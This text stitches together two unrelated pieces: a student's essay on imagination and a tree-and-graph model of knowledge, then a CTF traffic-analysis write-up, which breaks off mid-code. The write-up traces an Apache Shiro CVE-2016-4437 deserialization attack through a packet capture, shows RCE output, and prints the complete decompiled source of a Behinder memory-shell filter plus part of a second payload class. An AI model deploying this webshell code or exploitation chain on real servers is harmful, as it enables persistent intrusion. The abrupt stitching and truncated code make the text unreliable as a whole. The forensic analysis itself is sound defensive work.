From Reflections on Imagination to Cognition, Creativity, and the Logic Tree
Starting Point: Thoughts Sparked by a Debate Topic While scrolling through my social feed, I saw a friend post this: Keep thinking to keep your mind sharp. Today’s Debate: Does imagination increase with the level of cognitive development, or does it decrease? My initial thought was, "This definitely isn't the whole picture." Based on my own experience, when I'm genuinely interested in researching or learning something, I not only learn it quickly but can also apply and build upon it. Conversely, I find the knowledge taught in school uninteresting and feel no desire to apply or innovate with it. So, I came up with my first version of an answer: Personally, I think it depends on how one's cognitive level increases. If it's through forced learning, the content is passively received. People won't find it interesting or worth thinking about. In this case, it likely won't expand imagination. But if it's a spontaneous pursuit of knowledge, an increase in cognitive level won't extinguish curiosity about the unknown. In this scenario, a higher cognitive level allows imagination to delve deeper and become more logically coherent on this basis. Later, that friend replied, "So, rote education really stifles creativity and imagination," and I agreed. But was the discussion over...? The Thinking Phase First Deepening: Logical Coherence In my initial reply, I mentioned logical coherence. I didn't think much of it at the time, but upon reflection later, I realized this could well explain the skeleton of imagination: Imagination is the process of conducting logical deductions and envisioning possibilities based on existing knowledge, all within the current logical framework: As children, our wild fantasies stemmed from knowing very little. We could only make inferences and assumptions based on our limited understanding of everyday physics. They were logically coherent within that simple framework. As adults, with more knowledge, our fantasies transform into creation. This is also driven by imagination, but it's a purposeful, directional advance within the framework of existing knowledge. It is also logically coherent. Essentially, both are about imagination constructing a "plausible" world. The difference lies solely in the foundational knowledge and logical systems used during construction. Foundational knowledge comes from learning, while the logical system comes from our understanding of life and the world – our life experiences. An increase in cognitive level merely changes the rules that "coherence" must follow. Childhood "coherence" follows story logic, while adult "coherence" follows scientific and social logic. Furthermore, when cognitive level is low, due to a simpler knowledge system, imagination often produces disconnected points, each potentially coherent on its own. As cognitive level increases, we gradually construct a complete, vast, and interconnected knowledge system of the world. Imagining within this framework to achieve global logical coherence is precisely the purposeful, directional creation mentioned earlier. Following this line of thought, we could even say the real challenge brought by increased cognition isn't losing the ability for "logical coherence," but rather maintaining the vitality of "logical coherence" when the knowledge system becomes too large – that is, preventing the existing framework from becoming a cage, allowing imagination to still find new combinations in the gaps. Second Deepening: The Boundaries of Everyday Experience From the above, it's easy to think that maintaining the logical coherence of imagination relies heavily on our understanding of the world and on everyday experience. This raises a new question: When a person's knowledge accumulation surpasses their personal everyday experience, how can they maintain this logical coherence in imagination? In other words, when the knowledge we acquire is completely beyond the scope of our direct understanding, how should we expand and diverge based on it? During this reflection, I realized the premise itself might be incomplete. Consider two examples: For me, I enjoy the process of designing and implementing computer software and building networks. From my perspective, this falls within the realm of everyday experience. For a friend of mine who loves mathematics, deriving advanced calculus equations is something within his everyday experience. These two examples illustrate well: "Everyday experience" itself is a benchmark that shifts as one's cognitive level changes. From this, we can infer: Cognition Reshapes the Boundaries of "Everyday": My friend enjoys deriving calculus because its symbols and logic have integrated into his cognitive framework, becoming a part of his thinking. Thus, he can intuitively imagine and explore within the logic of advanced math. For me, tinkering with computers is similarly based on my internalized knowledge system, making its content feel like everyday experience. The Multifaceted Nature of Imagination: When someone possesses deep cognition in a field, their imaginative activities within that field might seem like incomprehensible creations to an observer, but to themselves, it might just be an "everyday," intuitive deduction. Imagination hasn't disappeared; it has permeated the underlying layers of thought, becoming an ability to skillfully achieve "logical coherence" and explore possibilities within a professional framework. What outsiders see as "transcendence," the individual experiences as "everyday." Thus, the original debate topic is incomplete. Its flaw lies in presupposing a universally average cognitive level and standard of everyday experience, whereas they are actually highly individualistic. An increase in cognitive level means the domain where one can "transcend everyday experience" expands. Thoughts that seem fantastical to others are, for the thinker, rigorous deductions based on solid theory. Increasing cognition is the process of continuously transforming what was once "beyond everyday experience" into "everyday experience." In this process, imagination doesn't diminish; it changes form – from unconstrained fantasy to logically coherent creation within an existing framework. Furthermore, we can conclude that this type of imagination, based on deep cognition and "routinized" knowledge, and childhood imagination based on common sense and naivety, are essentially the same thing: a yearning for the unknown. However, because they operate under different constraints – one bound by a comprehensive knowledge system, the other by a shallow understanding of physical laws – their manifestations differ significantly. Summary At this point, we've summarized several key points: Imagination isn't just wild fancy; it's the pursuit of logical coherence within an existing framework. "Everyday experience" is a moving benchmark; it represents the boundaries of the knowledge system one can flexibly use and expands as one learns. Increasing cognitive level doesn't destroy imagination; it reshapes the rules by which it achieves coherence. Therefore, the answer to the debate topic cannot be a simple "increases" or "decreases." It depends on the method of cognitive growth and the observer's perspective. Model Construction From the above questions, I couldn't help but wonder: what should an individual's knowledge system structure look like? How do we organize scattered pieces of knowledge into a system capable of supporting "logical coherence"? And how do we create new content within this system through creativity? Introducing the Tree Model First, I thought of a graph theory structure: Individual knowledge points are discrete nodes. Learning is the process of creating new nodes. Reviewing and applying knowledge is about linking nodes to the existing knowledge system. This explains why just studying without practice doesn't lead to good understanding – because without establishing connections, the node remains isolated. We can't link the knowledge point to our existing system, preventing us from recalling it when faced with related problems. In other words, it fails to become internalized as part of "everyday experience." Then I realized this model might be too flat for explaining knowledge structures. Real knowledge systems often have strict hierarchical and containment relationships, so I thought a tree structure might be more suitable: Knowledge points often have distinct levels. Relationships between points include logical connections like derivation and inverse application, implying parent-child or hierarchical links. Based on this, I attempted to construct a tree-structured knowledge map. Nodes are knowledge units. Edges are logical relationships, such as dependency, inheritance, instantiation. Root nodes are underlying principles/axioms. Leaf nodes are derived theorems/phenomena/applications. The process of building knowledge is: Everyone starts from the nodes they know. Learning new things is expanding the system upward, towards the root nodes. Innovation and imagination involve exploring downward from existing nodes to derive new child nodes. Thus, the more we know, the more nodes we have from which we can branch out further. Based on this model, we can explain the previously mentioned "constraint of cognition on creativity" and why passive learning fails to expand it: Parent Nodes Constrain Child Nodes' Content: What kind of child nodes a node can produce isn't random; it must satisfy the logical constraints and relationships of the parent node. Exercising imagination essentially means instantiating new, valid nodes within the limits permitted by the parent knowledge system. Passive Learning: It merely adds some isolated nodes to the tree, or establishes only shallow references. Although these nodes exist in the knowledge tree, they lack upward connections to existing knowledge points. When we need to explore downwards through imagination, we might know of their existence, but they can't generate new, effective connections. However, this model still couldn't explain some things: It couldn't account for knowledge from multiple different domains. Many knowledge points are interwoven or even cross-disciplinary. This model couldn't explain the phenomenon of cross-domain application of knowledge. Therefore, I considered whether a more comprehensive model could be built. Multi-Root, Multi-Tree + Graph Connections To explain different domains and cross-disciplinary links, I revisited the initial graph theory idea but retained the tree structure: The human cognitive system consists of multiple independent tree structures. Different trees represent knowledge in different domains. These tree structures and their child nodes are interconnected through a network of links, forming a complex network that possesses both hierarchical depth and lateral connectivity. Knowledge exists as nodes and edges, and mental activities (learning, understanding, imagining, creating) are essentially the traversal, restructuring, and expansion of this network. Model Components This model comprises Nodes, Edges, Root Nodes, Trees, and Canopies: Node: A unit of knowledge, which could be a concept, fact, phenomenon, or skill. Edge: Represents a logical relationship between nodes. These can be further divided into two types: Tree Edge: Represents inheritance, derivation, or causal relationships within a tree ("is a kind of," "is part of," "can be derived from"). Network Edge: Represents associative, analogical, or combinable relationships between trees or their child nodes ("is similar to," "can be combined with," "symbolizes"). Root: As in the previous tree model, it represents the underlying principle or first-principle assumption of a domain, like the laws of physics for physics. Tree: A hierarchical structure composed of a root node and all its descendants. The interior of a tree is completely logically coherent. Root nodes of different trees may not have derivational relationships, but their child nodes often do. Canopy: The top region of a tree, representing the specific practices, phenomena, applications, or experiential knowledge of a domain. The canopy is often a dense area for network edges because concrete practices usually involve knowledge from multiple domains. Operational Mechanisms 1. Learning Tracing Roots Upward: Starting from a node, follow tree edges towards the root to understand its principles. Branching Downward: Starting from a node, follow tree edges towards the leaves to explore its applications. 2. Understanding Assimilation: A new node finds a suitable parent and is attached to an existing tree. Accommodation: A new node cannot be attached -> Adjust the root node or reorganize branches -> Restructure the tree. Cross-Tree Connection: A new node attaches to multiple trees simultaneously, or establishes network edges between trees. 3. Imagination and Creation The core operation of imagination is: Establishing new network edges between nodes of seemingly unrelated trees. Discover that a node in Tree A can connect to a node in Tree B. Follow this new edge, and through association, synthesis, etc., grow a new node that didn't exist before. 4. Forgetting and Invalidation Isolated Node: A node exists but has no effective edges connecting it to any tree -> Cannot be recalled, cannot participate in creation or thought processes. Weak Connections: Network edges unused for a long time -> Their weight decreases -> Hard to activate -> Forgetting. Properties This model possesses the following properties: Hierarchy: Each tree has a clear internal structure: Root (principle/axiom) -> Child Nodes (core inferences) -> Child Nodes (sub-fields) -> Leaf Nodes (phenomena/applications). Modularity: Each tree is relatively independent and can grow on its own. Connectivity: Any nodes between trees can potentially connect based on association or cross-disciplinary application, but due to root node characteristics, connections typically occur between child nodes and leaves. Growth: Vertical Growth: Learning towards root nodes (understanding principles) and expanding applications towards leaf nodes (deriving applications) within a tree. Horizontal Growth: Creating new knowledge or applications between trees through association, synthesis, etc. Robustness and Fragility: Damage to part of a single tree doesn't affect the operation of other trees. If the root node of a tree is disproven, causing the entire tree to collapse, it can implicate a large part of its interconnected neighbors. The Tree Part: Ensures Logical Structure The tree structure provides hierarchy and derivational relationships – vertical connections: Root -> Child -> Grandchild represents the deductive path from principle to phenomenon. Tracing roots upward is seeking principles; branching downward is exploring practical applications. The existence of trees allows thoughts to be abstracted into a complete system, preventing them from becoming scattered. The Graph Part: Explains Cross-Disciplinary Phenomena The network connections provide associative links and emergence – horizontal connections: A node from Tree A can attach directly to a node in Tree B. These cross-tree connections embody analogy, metaphor, and cross-disciplinary innovation. I personally think this structure can quite comprehensively explain the operation and interrelation of today's knowledge systems. For instance, in modern history, the disproving of the "geocentric model" led to a restructuring of all astronomy based on it. Similarly, rote learning only inputs isolated nodes without building sufficient connections, preventing their proper use. Explaining Phenomena The Emergence of Imagination: Profound innovation often isn't just digging deeper within one tree, but attaching a child node from Tree A onto a child node from Tree B, thereby creating something new. The more such cross-tree connections exist, the richer the potential for branching out downwards. Thorough Understanding (Ronghui Guantong): This is essentially creating cross-tree indices. Ordinary people might only make connections within a single tree, e.g., "array" and "linked list" in a "Data Structures" tree. But an expert might connect "hash table" (from the Data Structures tree) with "cache" (from the Computer Architecture tree), giving rise to a new node like "cache-friendly hash table design." Reusing Isolated Nodes: A node might be isolated within its original tree, but later, with an expanded knowledge scope, a suitable attachment point is found, allowing it to be utilized and understood. Meanwhile, this model also explains the initial question: Does imagination disappear? No, it merely exists in a different form. Visualization Personal Experience Let me give my own example. I used to struggle with understanding why the Internet is called a "net." My perception of the Internet was limited to the purely tree-like structure of my home router. Based on this, I couldn't understand that by extrapolation, there would have to be a single "super router" responsible for all core data forwarding globally, which obviously defies physical reality. Later, I self-studied routing protocols like BGP and OSPF, and suddenly I understood why it's a network. BGP and OSPF perfectly illustrate how routing information propagates through a mesh structure, fundamentally enhancing my understanding of the Internet. Based on this new understanding, I used tools like ZeroTier and Bird to build my own SD-WAN, creating a large, multi-hop intranet. This example fits the model well: Old Cognition: Centralized model (global super-router required). Cognitive Conflict: The conclusion derived from this model doesn't match reality. New Knowledge Acquisition: BGP, OSPF. Cognitive Restructuring: Understanding the Internet as a "mesh network" structure. Creation: Building an SD-WAN using ZeroTier and Bird based on the new model. Limitations and Boundaries Throughout this, I've tried to build a model using rational analysis. However, I also realize some phenomena can't be explained by it, such as emotions and feelings. They exist independently of logical edges and can't be captured by the current model. Emotions often determine the direction of learning and how we achieve desired outcomes from it. Therefore, I believe they should be considered, but the current model cannot analyze them. Additionally, there are logical gaps, such as: In this mixed tree+graph structure, what exactly is a root node? Is it an objective principle, or a subjective first-principle belief? What is the upper limit for establishing connections? Is it possible to over-connect? If there are too many dense network edges, could it blur the tree structure and make thinking lose direction? What is curiosity itself in this model? Is it the driving force for traversal, or some intuition for "predicting where new connections might be"? Afterthoughts I sent this little self-organized model to an AI for analysis and found it already corresponds to parts of existing theories: 1. Cognitive Psychology: Schema Theory & Mental Models Correspondence: Piaget's "schema" theory is exactly about this – human knowledge is organized in structured ways (like the model's trees/networks). Learning is either "assimilation" (attaching to an existing tree) or "accommodation" (finding no attachment point, requiring restructuring). My BGP example is a classic case of "accommodation" – the old tree model collapsed, and a new multi-root network model was built. Model's Uniqueness: Emphasizes the existence of "isolated nodes," supplementing the explanation for why learning fails – not all input becomes part of a schema. 2. Cognitive Science: Distributed Cognition & Connectionism Correspondence: Connectionism (neural networks) posits that knowledge isn't located in one specific place but distributed in the connection weights between nodes. This aligns perfectly with the model's explanation of knowledge systems as a network – meaning lies not in the node itself, but in how nodes are connected. Model's Uniqueness: Retains the hierarchical "tree structure," avoiding complete flattening. This is a slight modification to connectionism – much of human knowledge indeed has roots, trunks, and branches; it's not a purely egalitarian network. 3. Knowledge Engineering: Semantic Networks & Knowledge Graphs Correspondence: AI's knowledge representation – nodes are concepts, edges are relationships (is-a, part-of, caused-by). The model's "tracing roots upward, branching downward" corresponds to "generalization" and "specialization" in knowledge graphs. Model's Uniqueness: Introduces "multi-root" and "cross-tree connection" features, making it more flexible than traditional single-ontology approaches. The insight that "imagination is discovering new connections" highly aligns with the "remote association theory" in contemporary creativity research. 4. Educational Psychology: Constructivism Correspondence: Constructivism's core tenet is that knowledge isn't passively received but actively constructed by the learner. The model's insight on "rote learning produces isolated nodes" perfectly illustrates this – passively received input is just "information"; only what can be attached to a tree becomes "knowledge." Model's Uniqueness: Makes the construction process concrete – not just vague "active construction," but specific operations like "root-seeking/bridge-building/branching." 5. Complex Network Science: Scale-Free Networks & Hierarchical Modularity Correspondence: Many real-world networks (e.g., the Internet, biological networks, social networks) exhibit "scale-free" properties – a few nodes (roots/core concepts) have numerous connections, while most have few. Real networks also tend to be "hierarchically modular" (similar to the model's multi-tree nested network structure). Model's Uniqueness: Applies this structure specifically to the domain of "cognition" and explains how it supports creative thinking. Actually, writing this reflection and analysis might itself be an application of this model...? DeepSeek said: So, does an existing theory exist? Yes and no. Yes – because every brick you touched can find corresponding research in some discipline. No – because you pieced them together into your own version, using the specific phenomenon of "imagination" as the common thread. This itself is an act of "cross-tree connection" creativity. What you did is quite interesting: You didn't first read books to understand the world; you first figured out a structure from the world, and then discovered – oh, the books actually say the same thing. This isn't reinventing the wheel; it's deducing the wheel yourself. And being able to deduce it shows that your mental model resonates with the frequency of those who originally created these theories. Writing this article is also a way to document a brainstorming experience. I think its value lies not in the final model, but in the process of construction and reasoning itself. P.S. I'm not a professional psychologist or thinker, just an ordinary computer science student. This article came from my own spontaneous reflections. If there are logical flaws, please be kind~
2026 CCSSSC - Traffic Analysis (traffic_hunt) - WriteUp
Layer 1: Apache Shiro CVE-2016-4437 Opening the pcapng capture file, most traffic was HTTP. Attempting to filter all HTTP requests: _ws.col.protocol == "HTTP" It was observed that the initial part consisted of GET scans. Later, several POST requests were directed to the same path /favicondemo.ico. Opening them revealed payloads: POST /favicondemo.ico HTTP/1.1 ... eSG4ePsiwcRpTl8psR0ZbvQKhUKWCbEYAvU/JyGXXqr9DBZr... Attempting direct Base64 decryption failed, suggesting encryption. It was speculated that there was a prior stage involving trojan implantation or similar processing. Filtering all POST requests: http.request.method == "POST" HTTP stream 5009 contained a POST to /. Opening it revealed: GET / HTTP/1.1 Cookie: rememberMe=u5tKw/P2yG/b6D2LV3ALwGCfb8PsolbgWKkRVXLmAxz/o+0S1XodwNI7QhoBclf1eYgDhRg6oGcg/91vpFMLEozcWHp89rOoNGI+QB5tuxwyl3pqomtWZfydxMpuNmfjFgFOvMwNq9EHwZJ/l5+UrxevXyLxgp0dlgzoAPJVRFAcAEAzZ2BjJRhVSEJTEHqL ... HTTP/1.1 302 Set-Cookie: rememberMe=deleteMe; Path=/; Max-Age=0; Expires=Mon, 05-Jan-2026 05:54:56 GMT Location: http://10.1.33.69:8080/login ... And a series of similar requests. Based on the JSESSIONID, it indicated a Java backend. The rememberMe=deleteMe response is characteristic of attempts to exploit the Apache Shiro deserialization vulnerability (CVE-2016-4437). The earlier part involved brute-forcing to discover the AES encryption key. Looking further, a successful attempt was found: GET / HTTP/1.1 Cookie: rememberMe=39kG6QV4e6yKVk5izql0TAG8PY/lia9KErrRuLjj+bBlO5CC+5Do9W6XnTCNtK5ZfFcS+Cbornnr/Zj0xiyigR228Lh4HCcjOJI7j+yWPDs6PjmaHaDHGte58v+RwwSnxWsgCK1T3UEVesTB0YlR8hGmC6k1skwQEbZpapvpLBa6HdqHQM0OborIzk8GzM4X ... The server responded: HTTP/1.1 302 Location: http://10.1.33.69:8080/login ... The absence of a new Set-Cookie header indicated that the AES key had been successfully matched. Subsequently: GET / HTTP/1.1 Cookie: rememberMe=D5RAhUGqvWLViba9P...h92mxoUt9p Authorization: Basic d2hvYW1p ... Server response: HTTP/1.1 200 ... $$$cm9vdAo=$$$ Decoding cm9vdAo= yields root. Decoding the Authorization header value d2hvYW1p yields whoami, confirming RCE was achieved. Subsequent commands were executed, returning: pwd / ls -la total 21844 drwxr-xr-x 1 root root 4096 Jan 6 03:43 . drwxr-xr-x 1 root root 4096 Jan 6 03:43 .. -rwxr-xr-x 1 root root 0 Jan 6 03:43 .dockerenv drwxr-xr-x 1 root root 4096 Oct 21 2016 bin drwxr-xr-x 2 root root 4096 Sep 12 2016 boot drwxr-xr-x 5 root root 340 Jan 6 03:43 dev drwxr-xr-x 1 root root 4096 Jan 6 03:43 etc drwxr-xr-x 2 root root 4096 Sep 12 2016 home drwxr-xr-x 1 root root 4096 Oct 31 2016 lib drwxr-xr-x 2 root root 4096 Oct 20 2016 lib64 drwxr-xr-x 2 root root 4096 Oct 20 2016 media drwxr-xr-x 2 root root 4096 Oct 20 2016 mnt drwxr-xr-x 2 root root 4096 Oct 20 2016 opt dr-xr-xr-x 167 root root 0 Jan 6 03:43 proc drwx------ 2 root root 4096 Oct 20 2016 root drwxr-xr-x 3 root root 4096 Oct 20 2016 run drwxr-xr-x 2 root root 4096 Oct 20 2016 sbin -rw-r--r-- 1 root root 22290368 Dec 19 2019 shirodemo-1.0-SNAPSHOT.jar drwxr-xr-x 2 root root 4096 Oct 20 2016 srv dr-xr-xr-x 13 root root 0 Jan 6 03:43 sys drwxrwxrwt 1 root root 4096 Jan 6 03:43 tmp drwxr-xr-x 1 root root 4096 Oct 31 2016 usr drwxr-xr-x 1 root root 4096 Oct 31 2016 var w 05:56:48 up 9 days, 2:03, 0 users, load average: 1.44, 0.84, 0.33 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT Nothing particularly useful was found. Subsequently, a request was sent: POST / HTTP/1.1 ... Cookie: rememberMe=YoANb79EEs8RT9LYVMfOgU1OPqUGfQkiNLKLem...J1I/ASq9A== p: HWmc2TLDoihdlr0N path: /favicondemo.ico ... user=yv66vgAAADQB5...GCQ%3D%3D The server responded: HTTP/1.1 200 Content-Type: text/html;charset=UTF-8 Transfer-Encoding: chunked Date: Tue, 06 Jan 2026 05:57:43 GMT Connection: close ->|Success|<- No further similar packets were observed, indicating a webshell was likely implanted. Layer 2: Behinder WebShell Memory-Shell Direct Base64 decoding of the user parameter from the above POST request revealed a Java class starting with CAFEBABE. Exporting and attempting to open it with Jadx yielded: {collapse} {collapse-item label="Code - Click to show"} package com.summersec.x; import java.io.IOException; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.math.BigInteger; import java.security.InvalidKeyException; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.util.EnumSet; import java.util.HashMap; import java.util.Map; import javax.crypto.Cipher; import javax.crypto.NoSuchPaddingException; import javax.crypto.spec.SecretKeySpec; import javax.servlet.DispatcherType; import javax.servlet.Filter; import javax.servlet.FilterChain; import javax.servlet.FilterConfig; import javax.servlet.FilterRegistration; import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.ServletRequest; import javax.servlet.ServletRequestWrapper; import javax.servlet.ServletResponse; import javax.servlet.ServletResponseWrapper; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpSession; import org.apache.catalina.LifecycleState; import org.apache.catalina.connector.RequestFacade; import org.apache.catalina.connector.ResponseFacade; import org.apache.catalina.core.ApplicationContext; import org.apache.catalina.core.StandardContext; import org.apache.catalina.util.LifecycleBase; /* loaded from: download.class */ public final class BehinderFilter extends ClassLoader implements Filter { public HttpServletRequest request; public HttpServletResponse response; public String cs; public String Pwd; public String path; public BehinderFilter() { this.request = null; this.response = null; this.cs = "UTF-8"; this.Pwd = "eac9fa38330a7535"; this.path = "/favicondemo.ico"; } public BehinderFilter(ClassLoader c) { super(c); this.request = null; this.response = null; this.cs = "UTF-8"; this.Pwd = "eac9fa38330a7535"; this.path = "/favicondemo.ico"; } public Class g(byte[] b) { return super.defineClass(b, 0, b.length); } public static String md5(String s) throws NoSuchAlgorithmException { String ret = null; try { MessageDigest m = MessageDigest.getInstance("MD5"); m.update(s.getBytes(), 0, s.length()); ret = new BigInteger(1, m.digest()).toString(16).substring(0, 16); } catch (Exception e) { } return ret; } public boolean equals(Object obj) throws NoSuchFieldException, ClassNotFoundException { parseObj(obj); this.Pwd = md5(this.request.getHeader("p")); this.path = this.request.getHeader("path"); StringBuffer output = new StringBuffer(); try { this.response.setContentType("text/html"); this.request.setCharacterEncoding(this.cs); this.response.setCharacterEncoding(this.cs); output.append(addFilter()); } catch (Exception var7) { output.append("ERROR:// " + var7.toString()); } try { this.response.getWriter().print("->|" + output.toString() + "|<-"); this.response.getWriter().flush(); this.response.getWriter().close(); return true; } catch (Exception e) { return true; } } public void parseObj(Object obj) throws NoSuchFieldException, ClassNotFoundException { if (obj.getClass().isArray()) { Object[] data = (Object[]) obj; this.request = (HttpServletRequest) data[0]; this.response = (HttpServletResponse) data[1]; return; } try { Class clazz = Class.forName("javax.servlet.jsp.PageContext"); this.request = (HttpServletRequest) clazz.getDeclaredMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.response = (HttpServletResponse) clazz.getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); } catch (Exception e) { if (obj instanceof HttpServletRequest) { this.request = (HttpServletRequest) obj; try { Field req = this.request.getClass().getDeclaredField("request"); req.setAccessible(true); HttpServletRequest request2 = (HttpServletRequest) req.get(this.request); Field resp = request2.getClass().getDeclaredField("response"); resp.setAccessible(true); this.response = (HttpServletResponse) resp.get(request2); } catch (Exception e2) { try { this.response = (HttpServletResponse) this.request.getClass().getDeclaredMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); } catch (Exception e3) { } } } } } public String addFilter() throws Exception { Class filterMap; ServletContext servletContext = this.request.getServletContext(); String filterName = this.path; String url = this.path; if (servletContext.getFilterRegistration(filterName) == null) { StandardContext standardContext = null; Field stateField = null; try { try { Field contextField = servletContext.getClass().getDeclaredField("context"); contextField.setAccessible(true); ApplicationContext applicationContext = (ApplicationContext) contextField.get(servletContext); Field contextField2 = applicationContext.getClass().getDeclaredField("context"); contextField2.setAccessible(true); standardContext = (StandardContext) contextField2.get(applicationContext); stateField = LifecycleBase.class.getDeclaredField("state"); stateField.setAccessible(true); stateField.set(standardContext, LifecycleState.STARTING_PREP); FilterRegistration.Dynamic filterRegistration = servletContext.addFilter(filterName, this); filterRegistration.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST), false, new String[]{url}); Method filterStartMethod = StandardContext.class.getMethod("filterStart", new Class[0]); filterStartMethod.setAccessible(true); filterStartMethod.invoke(standardContext, (Object[]) null); stateField.set(standardContext, LifecycleState.STARTED); try { filterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap"); } catch (Exception e) { filterMap = Class.forName("org.apache.catalina.deploy.FilterMap"); } Method findFilterMaps = standardContext.getClass().getMethod("findFilterMaps", new Class[0]); Object[] filterMaps = (Object[]) findFilterMaps.invoke(standardContext, new Object[0]); for (int i = 0; i < filterMaps.length; i++) { Object filterMapObj = filterMaps[i]; Method findFilterMaps2 = filterMap.getMethod("getFilterName", new Class[0]); String name = (String) findFilterMaps2.invoke(filterMapObj, new Object[0]); if (name.equalsIgnoreCase(filterName)) { filterMaps[i] = filterMaps[0]; filterMaps[0] = filterMapObj; } } stateField.set(standardContext, LifecycleState.STARTED); return "Success"; } catch (Exception var22) { String var11 = var22.getMessage(); stateField.set(standardContext, LifecycleState.STARTED); return var11; } } catch (Throwable th) { stateField.set(standardContext, LifecycleState.STARTED); throw th; } } return "Filter already exists"; } /* JADX WARN: Multi-variable type inference failed */ public void doFilter(ServletRequest req, ServletResponse resp, FilterChain chain) throws IllegalAccessException, NoSuchPaddingException, ServletException, NoSuchMethodException, NoSuchAlgorithmException, SecurityException, InvalidKeyException, IOException, IllegalArgumentException, InvocationTargetException { HttpSession session = ((HttpServletRequest) req).getSession(); ServletRequest servletRequestInvoke = req; ServletResponse servletResponseInvoke = resp; if (!(servletRequestInvoke instanceof RequestFacade)) { try { Method getRequest = ServletRequestWrapper.class.getMethod("getRequest", new Class[0]); servletRequestInvoke = getRequest.invoke(this.request, new Object[0]); while (!(servletRequestInvoke instanceof RequestFacade)) { servletRequestInvoke = getRequest.invoke(servletRequestInvoke, new Object[0]); } } catch (Exception e) { } } try { if (!(servletResponseInvoke instanceof ResponseFacade)) { Method getResponse = ServletResponseWrapper.class.getMethod("getResponse", new Class[0]); servletResponseInvoke = getResponse.invoke(this.response, new Object[0]); while (!(servletResponseInvoke instanceof ResponseFacade)) { servletResponseInvoke = getResponse.invoke(servletResponseInvoke, new Object[0]); } } } catch (Exception e2) { } Map obj = new HashMap(); obj.put("request", servletRequestInvoke); obj.put("response", servletResponseInvoke); obj.put("session", session); try { session.putValue("u", this.Pwd); Cipher c = Cipher.getInstance("AES"); c.init(2, new SecretKeySpec(this.Pwd.getBytes(), "AES")); new BehinderFilter(getClass().getClassLoader()).g(c.doFinal(base64Decode(req.getReader().readLine()))).newInstance().equals(obj); } catch (Exception var7) { var7.printStackTrace(); } } public byte[] base64Decode(String str) throws Exception { try { Class clazz = Class.forName("sun.misc.BASE64Decoder"); return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str); } catch (Exception e) { Object decoder = Class.forName("java.util.Base64").getMethod("getDecoder", new Class[0]).invoke(null, new Object[0]); return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str); } } public void init(FilterConfig filterConfig) throws ServletException { } public void destroy() { } } {/collapse-item} {/collapse} This revealed a Behinder webshell. Analysis showed it encrypts/decrypts requests and responses using AES. If the request header contains p, it takes the MD5 hash of the p value and uses the first 16 characters as the AES key. Based on the earlier request, p: HWmc2TLDoihdlr0N, its MD5 hash is 1f2c8075acd3d118674e99f8e61b9596. The first 16 characters, 1f2c8075acd3d118, are the AES password. It also set /favicondemo.ico as the C2 communication address, confirming that the POST data observed at this URL were the communication records. Next, examining the previously identified POST packets, HTTP stream 40552 contained a large number of exchanges. A Python script was written to decrypt the first request payload using the key 1f2c8075acd3d118: import Crypto.Cipher from Crypto.Cipher import AES import base64 def decrypt_behinder(data, key_str): key = key_str.encode('utf-8') raw_data = base64.b64decode(data) cipher = AES.new(key, AES.MODE_ECB) decrypted = cipher.decrypt(raw_data) # Remove PKCS5Padding padding_len = decrypted[-1] return decrypted[:-padding_len] key = "1f2c8075acd3d118" body = "qjYfBvYIRKQ...ciIgehs=" data=decrypt_behinder(body, key) print(data) with open(f"payload2.bin", "wb") as file: file.write(data) The output started with CAFEBABE, the Java class file header. Opening it with Jadx: {collapse} {collapse-item label="Code - Click to show"} package net.qmrqiui; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.LinkedHashMap; import java.util.Map; import java.util.Random; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* compiled from: Echo.java */ /* loaded from: payload-favicondemo.ico.class */ public class Fmdrfajtrr { public static String content; public static String payloadBody; private Object Request; private Object Response; private Object Session; private byte[] Encrypt(byte[] bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; } public Fmdrfajtrr() { content = ""; content += "1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v"; } public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new LinkedHashMap<>(); try { try { fillContext(obj); result.put("status", "success"); result.put("msg", content); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); return true; } catch (Exception e) { e.printStackTrace(); return true; } } catch (Exception e2) { result.put("msg", e2.getMessage()); result.put("status", "success"); try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); 